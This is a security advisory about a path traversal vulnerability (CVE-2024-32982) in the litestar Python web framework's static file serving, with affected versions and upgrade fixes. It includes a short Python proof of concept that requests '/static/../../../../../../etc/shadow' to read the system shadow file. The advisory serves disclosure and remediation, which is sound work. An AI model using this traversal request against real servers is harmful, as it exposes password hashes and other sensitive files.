Path Traversal Affecting litestar package, versions [2.0.0,2.6.4)[2.7.0,2.7.2)[2.8.0,2.8.3)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Path Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-LITESTAR-6810222
  • published7 May 2024
  • disclosed6 May 2024
  • creditBrian Edgar Ré

Introduced: 6 May 2024

CVE-2024-32982  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade litestar to version 2.6.4, 2.7.2, 2.8.3 or higher.

Overview

litestar is a Litestar - A production-ready, highly performant, extensible ASGI API Framework

Affected versions of this package are vulnerable to Path Traversal through the static content serving function. An attacker can gain unauthorized access to sensitive files outside the designated directories by exploiting path traversal flaws in the file path handling mechanism.

Notes:

  1. From versions 0.X.X through 1.X.X, the package was released under the name "starlite."

  2. Starting with version 2.0.0 and for all subsequent versions, the package has been rebranded and released under the name "litestar."

PoC


import http.client

def send_request(host, port, path):
    connection = http.client.HTTPConnection(host, port)
    connection.request("GET", path)
    response = connection.getresponse()
    print(f"Status: {response.status}")
    print(f"Headers: {response.getheaders()}")
    data = response.read()
    print(f"Body: {data.decode('utf-8')}")
    connection.close()

send_request("localhost", 8000, "/static/../../../../../../etc/shadow")

CVSS Scores

version 3.1